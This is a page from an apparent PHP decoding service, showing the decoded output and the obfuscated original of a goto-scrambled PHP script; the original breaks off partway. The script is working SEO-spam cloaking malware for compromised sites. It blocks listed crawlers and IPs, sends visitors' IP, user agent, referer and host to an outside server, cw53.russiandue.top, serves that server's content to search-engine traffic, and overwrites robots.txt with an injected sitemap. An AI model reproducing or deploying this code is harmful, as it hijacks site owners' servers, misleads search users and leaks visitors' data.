Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto wzZCY; EFnbJ: PNXY9: goto z8DHg; MltNd: usleep(100 * 1000); goto dE0Lg; oCqrQ:..

Decoded Output download

<?php 
goto wzZCY; EFnbJ: PNXY9: goto z8DHg; MltNd: usleep(100 * 1000); goto dE0Lg; oCqrQ: exit; goto oIp2G; hq1CX: $N_Zev = "/"; goto VNOMo; unEGl: echo "ok"; goto t1sGU; GZ0eK: u5sdR: goto hVgGG; mXn2Z: function LHAsN($KVbxP) { goto le0yu; rzfKN: return $QWRXj; goto QxAJP; Wgh3n: if (!empty($QWRXj)) { goto uVwvB; } goto T3aOV; tCUHn: curl_setopt($wjDSt, CURLOPT_RETURNTRANSFER, true); goto T6SIz; T6SIz: curl_setopt($wjDSt, CURLOPT_FOLLOWLOCATION, false); goto LgJ4q; mByE3: uVwvB: goto rzfKN; j25yt: curl_setopt($wjDSt, CURLOPT_URL, $KVbxP); goto tCUHn; d7e0l: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYPEER, FALSE); goto ss7vv; TRwhc: VrQqb: goto dzMi3; dzMi3: $QWRXj = curl_exec($wjDSt); goto CVlV0; ss7vv: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYHOST, FALSE); goto TRwhc; T3aOV: $QWRXj = @file_get_contents($KVbxP); goto mByE3; FfajK: if (!(strpos($KVbxP, "https://") !== false)) { goto VrQqb; } goto d7e0l; le0yu: $wjDSt = curl_init(); goto j25yt; LgJ4q: curl_setopt($wjDSt, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto FfajK; CVlV0: curl_close($wjDSt); goto Wgh3n; QxAJP: } goto H5_e4; EvMQb: xl4k1: goto KQKS8; If0md: $L_HDi = 0; goto I5pm3; YvalY: M90V2: goto GlbD7; lKsX6: $xCpsC = $bXC6s . "?agent={$DnzGh}&refer={$RUSvW}&lang={$XnqZA}&ip={$wZWlE}&dom={$c2lPk}&http={$vxz83}&uri={$mJdx5}&pc={$uVm01}&rewriteable={$L_HDi}&script={$iUoAz}"; goto Ibvt5; GSS0k: if (preg_match("/({$zU_a7})/i", $_SERVER["HTTP_REFERER"])) { goto u5sdR; } goto xqd3C; UVmQX: $uVm01 = 2718; goto XHAfW; VHppP: echo $PmHYH = E_R1r($xCpsC); goto Sr2aB; Z1nLe: ozngM: goto X7WBp; Pt9Io: @file_put_contents("uxo.txt", "0"); goto tiI3X; PMHDq: exit; goto cSIUP; CzDk0: echo $PmHYH; goto C4sKZ; WTsih: $_SERVER["REQUEST_SCHEME"] = "https"; goto MOPOx; rp2DQ: f2w5P: goto f19o6; V4tdN: $wZWlE = urlencode($ucoQj); goto WrvoB; qm8qP: IVqvQ: goto T9p2W; Y7O5y: $PmHYH = e_R1r($xCpsC); goto CzDk0; gNmMr: exit; goto EvMQb; qcF6s: exit; goto ZH10A; uq1P5: $XnqZA = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto t1iVM; H5_e4: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto Dv6xt; } goto AM8s9; a0Hvy: header("HTTP/1.1 404 Not Found"); goto pvShB; U4XTJ: if ($PmHYH == "500") { goto e8YVO; } goto MtuUr; wwyxD: if (strpos($mJdx5, "robots.txt") !== false || strpos($mJdx5, "writerobots") !== false) { goto Lcztf; } goto piSty; lwp90: $PmHYH = E_R1r($xCpsC); goto Em6hP; SfTmN: function e_r1R($KVbxP) { goto QSL2f; QSL2f: $QWRXj = @file_get_contents($KVbxP); goto g0ai1; vW4Dn: curl_setopt($wjDSt, CURLOPT_FOLLOWLOCATION, false); goto pX2zV; ZIgnJ: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYHOST, FALSE); goto wNrt9; B3WfP: curl_setopt($wjDSt, CURLOPT_RETURNTRANSFER, true); goto vW4Dn; pX2zV: if (!(strpos($KVbxP, "https://") !== false)) { goto Vx2iq; } goto yTCRv; wNrt9: Vx2iq: goto hteAF; qcrXD: curl_setopt($wjDSt, CURLOPT_URL, $KVbxP); goto B3WfP; hteAF: $QWRXj = curl_exec($wjDSt); goto gLvMG; T31Iw: bJFQC: goto dafyI; uWAlO: $wjDSt = curl_init(); goto qcrXD; yTCRv: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYPEER, FALSE); goto ZIgnJ; g0ai1: if (!empty($QWRXj)) { goto bJFQC; } goto uWAlO; gLvMG: curl_close($wjDSt); goto T31Iw; dafyI: return $QWRXj; goto IAA2y; IAA2y: } goto mXn2Z; GbqT3: $DOOFZ = trim($DOOFZ) . "
" . "Sitemap: {$rhdKW}"; goto Qa_Sy; oGpRO: LY3Ka: goto LFVyQ; wzZCY: error_reporting(0); goto Hwes0; l8COp: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto A5Tso; } goto n95Hp; r2oQd: $Xk3e0 = "https://www.google.com/ping?sitemap="; goto B9xaw; WrvoB: $c2lPk = urlencode($_SERVER["HTTP_HOST"]); goto COmax; LFVyQ: echo $PmHYH; goto shBmZ; IDXQh: ML9Xw: goto YWz7L; TaFcr: $L_HDi = 0; goto Pt9Io; pvShB: echo $PmHYH; goto gNmMr; COmax: $iUoAz = urlencode($_SERVER["SCRIPT_NAME"]); goto l8COp; xqd3C: goto ozngM; goto GZ0eK; dE0Lg: $xCpsC = $bXC6s . "?agent={$DnzGh}&refer={$RUSvW}&lang={$XnqZA}&ip={$wZWlE}&dom={$c2lPk}&http={$vxz83}&uri={$mJdx5}&pc={$uVm01}&rewriteable={$L_HDi}&script={$iUoAz}&sitemap=" . urlencode($rhdKW); goto UXaRF; eySph: if (!($ucoQj == "153.246.135.238" || $ucoQj == "219.101.44.233")) { goto bOTct; } goto eh6QA; Sr2aB: @file_put_contents("robots.txt", $PmHYH); goto PMHDq; LNWve: @file_put_contents("robots.txt", $DOOFZ); goto v0NMZ; vM4un: if ($PmHYH == "ok") { goto kSBSe; } goto TaFcr; AOPWF: echo $rhdKW . ": " . $LbWZ9 . "<br/>"; goto MltNd; Qa_Sy: $PmHYH = lhAsn($Xk3e0 . urlencode($rhdKW)); goto VXJmg; lAFZJ: if (empty($PmHYH)) { goto ATWwB; } goto dkC37; he1zG: header("Content-Type: text/plain; charset=utf-8"); goto VHppP; qFWIV: goto hTeeA; goto y5grL; XO1kI: YIUFD: goto lKsX6; cSIUP: hTeeA: goto Hg_t1; qGrpc: $mJdx5 = urldecode($_SERVER["REQUEST_URI"]); goto PC789; l7_y6: $RUSvW = urlencode($_SERVER["HTTP_REFERER"]); goto uq1P5; oIp2G: goto TuaO3; goto rF_HQ; ia9Pj: header("HTTP/1.0 500 Internal Server Error"); goto XhPIH; v0NMZ: exit; goto zNOvL; dL7An: header("Content-Type: text/html; charset=utf-8"); goto bJGV3; f19o6: goto QiNIO; goto WqvDj; I5pm3: if (!file_exists("uxo.txt")) { goto jK4Jz; } goto Yhz6p; TmgMz: A5Tso: goto WTsih; z8DHg: $N_Zev = "/?"; goto IDXQh; FJOPE: exit; goto lYAeT; MOPOx: tfHWb: goto doI1q; FBjKC: exit; goto cVvT8; UXaRF: $PmHYH = e_R1r($xCpsC); goto LNWve; pF7h0: $PmHYH = e_R1R($J4vly); goto vM4un; t1sGU: exit; goto XTT_d; Gv_tO: $zU_a7 = "bing|google|yahoo"; goto KiCeU; XTT_d: NlV3h: goto eySph; h1kVb: goto f2w5P; goto GFAch; Em6hP: if ($PmHYH == "500") { goto iwQtL; } goto tHRUj; sQ11K: bOTct: goto If0md; b9Iku: ATWwB: goto n1cDf; t1iVM: $ucoQj = tA837(); goto V4tdN; eh6QA: header("HTTP/1.0 403 Forbidden"); goto dlZg0; DyLBO: Yk_oH: goto bdcnv; HYeYV: TuaO3: goto L29Wc; BuPDB: $N_Zev = $N_Zev . "?"; goto P5p2_; GFAch: KJqbS: goto rp2DQ; T9p2W: if (strpos($mJdx5, "pingsitemap.xml") !== false) { goto kQ7Uj; } goto pixMx; qq0cm: if (substr($PmHYH, 0, 5) == "<?xml") { goto M90V2; } goto dL7An; PC789: if (!(strpos($mJdx5, "uuuuxxxxooo") !== false)) { goto NlV3h; } goto unEGl; YWz7L: IstFb: goto r2oQd; VNOMo: goto ML9Xw; goto EFnbJ; X7WBp: goto BnvWf; goto oMsUp; KiCeU: $bXC6s = "http://cw53.russiandue.top/index.php"; goto UVmQX; oMsUp: h40BD: goto BNnE1; mrv_5: $L_HDi = 1; goto bA4TU; LXZmZ: $J4vly = $vxz83 . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto pF7h0; KPbbi: goto tfHWb; goto TmgMz; y5grL: Lcztf: goto t3okC; WqvDj: kQ7Uj: goto hOsdN; LQU2Y: $LbWZ9 = $fEyF2[1]; goto BmEx0; MtuUr: header("Content-Type: text/xml; charset=utf-8"); goto BXEVO; lYAeT: Dv6xt: goto Gv_tO; IkzXr: if (preg_match("/({$zU_a7})/i", $_SERVER["HTTP_USER_AGENT"])) { goto h40BD; } goto GSS0k; Hwes0: function TA837() { goto Iis2e; OUGuj: $wZWlE = "0.0.0.0"; goto ljI9v; nwvEU: qY9SR: goto ZtlUS; E6sZS: $wZWlE = getenv("REMOTE_ADDR"); goto nwvEU; oTnAI: $wZWlE = getenv("HTTP_X_FORWARDED_FOR"); goto RRGCM; XC9qv: $wZWlE = $XYXHF[0]; goto QLOWj; fUbED: if (getenv("HTTP_X_REAL_IP")) { goto ZWm9U; } goto rHM4_; RRGCM: $XYXHF = explode(",", $wZWlE); goto XC9qv; Cq21N: ZWm9U: goto LjRE0; Iis2e: if (!getenv("HTTP_CLIENT_IP")) { goto e0b8p; } goto y4usp; z77tV: e0b8p: goto fUbED; y4usp: $wZWlE = getenv("HTTP_CLIENT_IP"); goto z77tV; LjRE0: $wZWlE = getenv("HTTP_X_REAL_IP"); goto eNhTx; QLOWj: goto qY9SR; goto MIL0k; wubkd: if (getenv("REMOTE_ADDR")) { goto dyyW9; } goto OUGuj; ljI9v: goto qY9SR; goto Cq21N; eNhTx: goto qY9SR; goto CNJl3; ZtlUS: return $wZWlE; goto CWrhp; CNJl3: edZgK: goto oTnAI; MIL0k: dyyW9: goto E6sZS; rHM4_: if (getenv("HTTP_X_FORWARDED_FOR")) { goto edZgK; } goto wubkd; CWrhp: } goto SfTmN; tVXgD: if (strpos($N_Zev, "index.php") !== false) { goto Yk_oH; } goto BuPDB; DBsd3: if (strpos($mJdx5, "jp2023") !== false) { goto x4jgx; } goto wwyxD; yrCWW: kSBSe: goto mrv_5; ZH10A: f1h7T: goto Z1nLe; t3okC: $xCpsC = $bXC6s . "?agent={$DnzGh}&refer={$RUSvW}&lang={$XnqZA}&ip={$wZWlE}&dom={$c2lPk}&http={$vxz83}&uri={$mJdx5}&pc={$uVm01}&rewriteable={$L_HDi}&script={$iUoAz}"; goto he1zG; bsNHb: ng882: goto h1kVb; VqR0T: iwQtL: goto GrAud; GlbD7: header("Content-Type: text/xml; charset=utf-8"); goto oGpRO; M1A1Y: goto qljZr; goto XO1kI; wYP8A: jK4Jz: goto LXZmZ; L29Wc: qljZr: goto qFWIV; n1cDf: BnvWf: goto M1A1Y; rF_HQ: e8YVO: goto ia9Pj; bdcnv: if ($L_HDi == 0) { goto PNXY9; } goto hq1CX; gbhNI: $rhdKW = "{$vxz83}://" . $c2lPk . $N_Zev . "sitemap.xml"; goto GbqT3; Ibvt5: $PmHYH = e_R1R($xCpsC); goto U4XTJ; hVgGG: $xCpsC = $bXC6s . "?agent={$DnzGh}&refer={$RUSvW}&lang={$XnqZA}&ip={$wZWlE}&dom={$c2lPk}&http={$vxz83}&uri={$mJdx5}&pc={$uVm01}&rewriteable={$L_HDi}"; goto lwp90; cIkWd: $xCpsC = $bXC6s . "?agent={$DnzGh}&refer={$RUSvW}&lang={$XnqZA}&ip={$wZWlE}&dom={$c2lPk}&http={$vxz83}&uri={$mJdx5}&pc={$uVm01}&rewriteable={$L_HDi}&script={$iUoAz}"; goto Y7O5y; Yhz6p: $L_HDi = @file_get_contents("uxo.txt"); goto ItTb2; tiI3X: goto kYCzT; goto yrCWW; dlZg0: exit; goto sQ11K; KQKS8: goto f1h7T; goto VqR0T; P5p2_: goto IstFb; goto DyLBO; BXEVO: echo $PmHYH; goto oCqrQ; dkC37: if (!($PmHYH == "500")) { goto Xjm2A; } goto XVIwc; shBmZ: exit; goto b9Iku; AM8s9: header("HTTP/1.0 403 Forbidden"); goto FJOPE; C4sKZ: exit; goto bsNHb; cVvT8: Xjm2A: goto qq0cm; GrAud: header("HTTP/1.0 500 Internal Server Error"); goto qcF6s; fqd54: x4jgx: goto cIkWd; ItTb2: goto IVqvQ; goto wYP8A; B9xaw: $DOOFZ = "User-agent: *
llow: /"; goto gbhNI; n95Hp: $_SERVER["REQUEST_SCHEME"] = "http"; goto KPbbi; doI1q: $vxz83 = urlencode($_SERVER["REQUEST_SCHEME"]); goto qGrpc; piSty: if (preg_match("@^/(.*?).xml$@i", $mJdx5)) { goto YIUFD; } goto IkzXr; Hg_t1: goto ng882; goto fqd54; BmEx0: rgPYu: goto AOPWF; XHAfW: $DnzGh = urlencode($_SERVER["HTTP_USER_AGENT"]); goto l7_y6; tHRUj: if (empty($PmHYH)) { goto xl4k1; } goto a0Hvy; XhPIH: exit; goto HYeYV; BNnE1: $xCpsC = $bXC6s . "?agent={$DnzGh}&refer={$RUSvW}&lang={$XnqZA}&ip={$wZWlE}&dom={$c2lPk}&http={$vxz83}&uri={$mJdx5}&pc={$uVm01}&rewriteable={$L_HDi}&script={$iUoAz}"; goto ylfRh; ylfRh: $PmHYH = E_r1r($xCpsC); goto lAFZJ; bA4TU: @file_put_contents("uxo.txt", "1"); goto ZsdMG; bJGV3: goto LY3Ka; goto YvalY; XVIwc: header("HTTP/1.0 500 Internal Server Error"); goto FBjKC; I2v_e: if (!preg_match("/<h2>(.+?)<\/h2>/i", $PmHYH, $fEyF2)) { goto rgPYu; } goto LQU2Y; pixMx: if (strpos($mJdx5, "favicon.ico") !== false) { goto KJqbS; } goto DBsd3; hOsdN: $N_Zev = $_SERVER["SCRIPT_NAME"]; goto tVXgD; ZsdMG: kYCzT: goto qm8qP; VXJmg: $LbWZ9 = ''; goto I2v_e; zNOvL: QiNIO: 
?>

Did this file decode correctly?

Original Code

<?php
goto wzZCY; EFnbJ: PNXY9: goto z8DHg; MltNd: usleep(100 * 1000); goto dE0Lg; oCqrQ: exit; goto oIp2G; hq1CX: $N_Zev = "\57"; goto VNOMo; unEGl: echo "\x6f\x6b"; goto t1sGU; GZ0eK: u5sdR: goto hVgGG; mXn2Z: function LHAsN($KVbxP) { goto le0yu; rzfKN: return $QWRXj; goto QxAJP; Wgh3n: if (!empty($QWRXj)) { goto uVwvB; } goto T3aOV; tCUHn: curl_setopt($wjDSt, CURLOPT_RETURNTRANSFER, true); goto T6SIz; T6SIz: curl_setopt($wjDSt, CURLOPT_FOLLOWLOCATION, false); goto LgJ4q; mByE3: uVwvB: goto rzfKN; j25yt: curl_setopt($wjDSt, CURLOPT_URL, $KVbxP); goto tCUHn; d7e0l: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYPEER, FALSE); goto ss7vv; TRwhc: VrQqb: goto dzMi3; dzMi3: $QWRXj = curl_exec($wjDSt); goto CVlV0; ss7vv: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYHOST, FALSE); goto TRwhc; T3aOV: $QWRXj = @file_get_contents($KVbxP); goto mByE3; FfajK: if (!(strpos($KVbxP, "\150\164\x74\x70\x73\x3a\x2f\57") !== false)) { goto VrQqb; } goto d7e0l; le0yu: $wjDSt = curl_init(); goto j25yt; LgJ4q: curl_setopt($wjDSt, CURLOPT_USERAGENT, $_SERVER["\x48\x54\x54\120\137\125\x53\105\122\137\x41\107\x45\116\x54"]); goto FfajK; CVlV0: curl_close($wjDSt); goto Wgh3n; QxAJP: } goto H5_e4; EvMQb: xl4k1: goto KQKS8; If0md: $L_HDi = 0; goto I5pm3; YvalY: M90V2: goto GlbD7; lKsX6: $xCpsC = $bXC6s . "\77\x61\x67\145\156\164\x3d{$DnzGh}\x26\162\145\x66\x65\x72\x3d{$RUSvW}\46\154\141\x6e\147\75{$XnqZA}\x26\151\160\75{$wZWlE}\x26\x64\157\155\75{$c2lPk}\46\x68\x74\164\x70\x3d{$vxz83}\x26\165\x72\151\75{$mJdx5}\x26\x70\143\75{$uVm01}\x26\x72\145\167\162\151\x74\145\141\x62\x6c\x65\75{$L_HDi}\46\163\x63\x72\x69\160\164\x3d{$iUoAz}"; goto Ibvt5; GSS0k: if (preg_match("\x2f\50{$zU_a7}\51\57\151", $_SERVER["\x48\124\x54\120\x5f\x52\x45\106\105\122\x45\x52"])) { goto u5sdR; } goto xqd3C; UVmQX: $uVm01 = 2718; goto XHAfW; VHppP: echo $PmHYH = E_R1r($xCpsC); goto Sr2aB; Z1nLe: ozngM: goto X7WBp; Pt9Io: @file_put_contents("\165\170\157\56\164\x78\x74", "\x30"); goto tiI3X; PMHDq: exit; goto cSIUP; CzDk0: echo $PmHYH; goto C4sKZ; WTsih: $_SERVER["\122\x45\121\125\105\123\x54\x5f\123\x43\110\105\x4d\105"] = "\150\164\164\x70\163"; goto MOPOx; rp2DQ: f2w5P: goto f19o6; V4tdN: $wZWlE = urlencode($ucoQj); goto WrvoB; qm8qP: IVqvQ: goto T9p2W; Y7O5y: $PmHYH = e_R1r($xCpsC); goto CzDk0; gNmMr: exit; goto EvMQb; qcF6s: exit; goto ZH10A; uq1P5: $XnqZA = urlencode($_SERVER["\110\124\x54\120\x5f\101\103\103\105\x50\124\137\114\101\116\107\x55\101\x47\x45"]); goto t1iVM; H5_e4: if (!preg_match("\57\x28\x42\171\x74\145\163\160\151\144\145\162\x7c\x50\145\x74\x61\x6c\102\x6f\x74\174\101\x68\x72\145\146\163\102\x6f\x74\174\102\x61\x72\x6b\162\x6f\x77\x6c\x65\162\174\115\112\61\62\142\x6f\x74\x7c\106\x65\x65\x64\x44\145\x6d\157\x6e\x7c\x4a\151\153\145\x53\x70\151\144\x65\x72\174\111\156\144\171\40\x4c\151\142\x72\141\162\171\174\101\x73\153\124\x62\106\x58\x54\x56\174\103\x72\141\x77\154\x44\141\144\144\171\174\103\x6f\157\154\x70\x61\144\127\145\142\153\x69\164\x7c\x4a\141\x76\x61\x7c\x46\x65\x65\x64\x6c\x79\174\125\x6e\x69\166\x65\162\163\141\x6c\106\145\x65\x64\120\141\x72\163\x65\x72\174\101\x70\x61\143\x68\x65\102\145\156\x63\150\x7c\123\x77\x69\146\x74\142\157\x74\174\x5a\155\x45\165\174\x6f\102\x6f\x74\174\x6a\141\x75\x6e\x74\171\174\120\171\164\x68\x6f\156\x2d\x75\x72\x6c\x6c\x69\142\174\x70\x79\164\150\157\x6e\x2d\162\145\161\165\x65\163\164\x73\174\x6c\151\x67\x68\164\x44\x65\143\x6b\x52\x65\x70\x6f\162\164\x73\x20\x42\157\164\174\x59\x59\x53\160\x69\144\x65\x72\174\x44\x69\147\x45\170\164\x7c\131\x69\x73\157\x75\x53\x70\151\x64\x65\x72\x7c\110\x74\164\x70\103\x6c\x69\x65\156\164\174\x68\x65\x72\151\164\x72\151\170\x7c\105\x61\163\x6f\x75\123\160\x69\x64\x65\x72\174\105\x7a\x6f\157\155\x73\x7c\x41\x6d\141\172\x6f\156\x42\x6f\164\174\123\x45\x4d\x72\165\x73\x68\x42\157\164\x7c\131\141\x6e\144\145\170\102\x6f\x74\x7c\x70\x61\x6c\157\141\154\164\x6f\x6e\x65\x74\x77\x6f\x72\x6b\163\174\x50\x79\x74\x68\157\x6e\x29\57\x69", $_SERVER["\x48\124\x54\120\137\x55\123\x45\122\x5f\101\x47\105\x4e\x54"])) { goto Dv6xt; } goto AM8s9; a0Hvy: header("\110\x54\124\120\x2f\61\56\x31\40\x34\60\x34\x20\116\157\x74\x20\x46\157\165\156\144"); goto pvShB; U4XTJ: if ($PmHYH == "\x35\x30\60") { goto e8YVO; } goto MtuUr; wwyxD: if (strpos($mJdx5, "\x72\x6f\x62\x6f\164\x73\56\x74\x78\x74") !== false || strpos($mJdx5, "\167\x72\151\x74\x65\x72\x6f\142\x6f\x74\163") !== false) { goto Lcztf; } goto piSty; lwp90: $PmHYH = E_R1r($xCpsC); goto Em6hP; SfTmN: function e_r1R($KVbxP) { goto QSL2f; QSL2f: $QWRXj = @file_get_contents($KVbxP); goto g0ai1; vW4Dn: curl_setopt($wjDSt, CURLOPT_FOLLOWLOCATION, false); goto pX2zV; ZIgnJ: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYHOST, FALSE); goto wNrt9; B3WfP: curl_setopt($wjDSt, CURLOPT_RETURNTRANSFER, true); goto vW4Dn; pX2zV: if (!(strpos($KVbxP, "\150\x74\x74\160\x73\x3a\x2f\x2f") !== false)) { goto Vx2iq; } goto yTCRv; wNrt9: Vx2iq: goto hteAF; qcrXD: curl_setopt($wjDSt, CURLOPT_URL, $KVbxP); goto B3WfP; hteAF: $QWRXj = curl_exec($wjDSt); goto gLvMG; T31Iw: bJFQC: goto dafyI; uWAlO: $wjDSt = curl_init(); goto qcrXD; yTCRv: curl_setopt($wjDSt, CURLOPT_SSL_VERIFYPEER, FALSE); goto ZIgnJ; g0ai1: if (!empty($QWRXj)) { goto bJFQC; } goto uWAlO; gLvMG: curl_close($wjDSt); goto T31Iw; dafyI: return $QWRXj; goto IAA2y; IAA2y: } goto mXn2Z; GbqT3: $DOOFZ = trim($DOOFZ) . "\15\12" . "\x53\x69\164\145\x6d\x61\160\x3a\40{$rhdKW}"; goto Qa_Sy; oGpRO: LY3Ka: goto LFVyQ; wzZCY: error_reporting(0); goto Hwes0; l8COp: if (!empty($_SERVER["\x52\105\x51\x55\x45\x53\x54\137\123\103\110\105\x4d\105"]) && $_SERVER["\x52\105\121\x55\105\123\x54\137\123\103\110\105\115\105"] == "\150\x74\164\160\x73" || !empty($_SERVER["\x48\124\x54\x50\123"]) && $_SERVER["\x48\x54\124\x50\123"] == "\157\156" || !empty($_SERVER["\x53\x45\x52\126\105\x52\137\120\x4f\122\124"]) && $_SERVER["\123\x45\122\126\x45\x52\x5f\x50\x4f\122\x54"] == "\x34\x34\x33" || isset($_SERVER["\110\124\x54\120\x5f\x58\x5f\106\117\x52\x57\x41\122\104\x45\x44\137\x50\x52\x4f\x54\x4f"]) && $_SERVER["\110\x54\124\x50\137\x58\x5f\x46\117\122\127\x41\122\x44\105\104\x5f\x50\x52\x4f\124\x4f"] == "\150\x74\164\160\x73") { goto A5Tso; } goto n95Hp; r2oQd: $Xk3e0 = "\x68\164\x74\160\x73\72\57\x2f\x77\x77\167\x2e\147\x6f\157\147\x6c\145\x2e\x63\x6f\x6d\x2f\160\x69\x6e\x67\x3f\163\x69\x74\145\x6d\141\x70\75"; goto B9xaw; WrvoB: $c2lPk = urlencode($_SERVER["\x48\x54\x54\120\137\x48\x4f\x53\x54"]); goto COmax; LFVyQ: echo $PmHYH; goto shBmZ; IDXQh: ML9Xw: goto YWz7L; TaFcr: $L_HDi = 0; goto Pt9Io; pvShB: echo $PmHYH; goto gNmMr; COmax: $iUoAz = urlencode($_SERVER["\123\x43\122\111\x50\x54\x5f\x4e\x41\115\x45"]); goto l8COp; xqd3C: goto ozngM; goto GZ0eK; dE0Lg: $xCpsC = $bXC6s . "\x3f\x61\x67\145\156\164\x3d{$DnzGh}\46\162\145\x66\x65\162\75{$RUSvW}\x26\154\141\156\x67\75{$XnqZA}\46\x69\160\75{$wZWlE}\x26\144\157\x6d\x3d{$c2lPk}\x26\150\164\x74\160\x3d{$vxz83}\46\x75\x72\151\x3d{$mJdx5}\x26\160\x63\x3d{$uVm01}\x26\162\x65\x77\162\151\x74\145\x61\142\x6c\x65\75{$L_HDi}\x26\163\x63\162\151\x70\x74\x3d{$iUoAz}\x26\163\151\x74\x65\155\x61\x70\x3d" . urlencode($rhdKW); goto UXaRF; eySph: if (!($ucoQj == "\61\x35\63\56\x32\x34\x36\x2e\61\x33\x35\56\x32\63\x38" || $ucoQj == "\x32\x31\71\x2e\x31\60\61\56\x34\64\x2e\x32\63\x33")) { goto bOTct; } goto eh6QA; Sr2aB: @file_put_contents("\162\157\142\157\164\x73\56\164\x78\x74", $PmHYH); goto PMHDq; LNWve: @file_put_contents("\x72\157\142\x6f\164\163\56\164\170\x74", $DOOFZ); goto v0NMZ; vM4un: if ($PmHYH == "\157\153") { goto kSBSe; } goto TaFcr; AOPWF: echo $rhdKW . "\72\x20" . $LbWZ9 . "\x3c\142\x72\57\x3e"; goto MltNd; Qa_Sy: $PmHYH = lhAsn($Xk3e0 . urlencode($rhdKW)); goto VXJmg; lAFZJ: if (empty($PmHYH)) { goto ATWwB; } goto dkC37; he1zG: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\x79\x70\145\72\x20\x74\x65\170\164\x2f\160\154\x61\151\x6e\x3b\40\143\150\141\x72\163\x65\164\x3d\165\164\x66\55\70"); goto VHppP; qFWIV: goto hTeeA; goto y5grL; XO1kI: YIUFD: goto lKsX6; cSIUP: hTeeA: goto Hg_t1; qGrpc: $mJdx5 = urldecode($_SERVER["\x52\x45\121\125\105\123\124\x5f\125\122\111"]); goto PC789; l7_y6: $RUSvW = urlencode($_SERVER["\110\124\124\120\x5f\x52\105\106\x45\122\x45\x52"]); goto uq1P5; oIp2G: goto TuaO3; goto rF_HQ; ia9Pj: header("\x48\124\124\120\57\x31\56\x30\40\x35\60\x30\x20\x49\156\164\145\162\x6e\x61\154\40\123\145\162\166\x65\x72\40\105\x72\162\157\162"); goto XhPIH; v0NMZ: exit; goto zNOvL; dL7An: header("\x43\157\156\x74\x65\x6e\164\x2d\x54\171\160\145\x3a\x20\x74\x65\x78\164\57\x68\164\155\154\73\x20\143\150\x61\162\x73\x65\x74\75\x75\164\146\x2d\70"); goto bJGV3; f19o6: goto QiNIO; goto WqvDj; I5pm3: if (!file_exists("\x75\x78\x6f\x2e\164\170\x74")) { goto jK4Jz; } goto Yhz6p; TmgMz: A5Tso: goto WTsih; z8DHg: $N_Zev = "\57\x3f"; goto IDXQh; FJOPE: exit; goto lYAeT; MOPOx: tfHWb: goto doI1q; FBjKC: exit; goto cVvT8; UXaRF: $PmHYH = e_R1r($xCpsC); goto LNWve; pF7h0: $PmHYH = e_R1R($J4vly); goto vM4un; t1sGU: exit; goto XTT_d; Gv_tO: $zU_a7 = "\142\x69\156\147\x7c\147\x6f\x6f\147\x6c\x65\174\171\x61\x68\157\x6f"; goto KiCeU; XTT_d: NlV3h: goto eySph; h1kVb: goto f2w5P; goto GFAch; Em6hP: if ($PmHYH == "\x35\x30\x30") { goto iwQtL; } goto tHRUj; sQ11K: bOTct: goto If0md; b9Iku: ATWwB: goto n1cDf; t1iVM: $ucoQj = tA837(); goto V4tdN; eh6QA: header("\110\x54\x54\120\57\x31\56\x30\x20\x34\x30\63\x20\106\x6f\162\142\x69\x64\144\145\156"); goto dlZg0; DyLBO: Yk_oH: goto bdcnv; HYeYV: TuaO3: goto L29Wc; BuPDB: $N_Zev = $N_Zev . "\x3f"; goto P5p2_; GFAch: KJqbS: goto rp2DQ; T9p2W: if (strpos($mJdx5, "\x70\151\x6e\147\x73\151\164\145\x6d\141\160\x2e\x78\155\154") !== false) { goto kQ7Uj; } goto pixMx; qq0cm: if (substr($PmHYH, 0, 5) == "\74\x3f\170\x6d\154") { goto M90V2; } goto dL7An; PC789: if (!(strpos($mJdx5, "\x75\165\165\165\170\170\170\x78\157\157\x6f") !== false)) { goto NlV3h; } goto unEGl; YWz7L: IstFb: goto r2oQd; VNOMo: goto ML9Xw; goto EFnbJ; X7WBp: goto BnvWf; goto oMsUp; KiCeU: $bXC6s = "\150\x74\164\160\x3a\x2f\x2f\143\167\x35\x33\56\162\x75\x73\x73\151\141\156\x64\165\145\56\164\157\160\57\151\x6e\144\145\170\x2e\x70\150\x70"; goto UVmQX; oMsUp: h40BD: goto BNnE1; mrv_5: $L_HDi = 1; goto bA4TU; LXZmZ: $J4vly = $vxz83 . "\x3a\57\x2f" . $_SERVER["\110\124\x54\120\137\x48\x4f\x53\x54"] . "\57\x75\x75\165\165\x78\x78\x78\x78\x6f\157\x6f"; goto pF7h0; KPbbi: goto tfHWb; goto TmgMz; y5grL: Lcztf: goto t3okC; WqvDj: kQ7Uj: goto hOsdN; LQU2Y: $LbWZ9 = $fEyF2[1]; goto BmEx0; MtuUr: header("\103\x6f\x6e\164\145\x6e\164\55\x54\x79\x70\145\72\40\x74\x65\x78\x74\57\x78\x6d\154\73\40\143\150\141\x72\163\x65\164\x3d\165\x74\146\55\x38"); goto BXEVO; lYAeT: Dv6xt: goto Gv_tO; IkzXr: if (preg_match("\x2f\50{$zU_a7}\x29\57\x69", $_SERVER["\110\124\x54\120\x5f\x55\x53\x45\x52\137\x41\107\x45\116\x54"])) { goto h40BD; } goto GSS0k; Hwes0: function TA837() 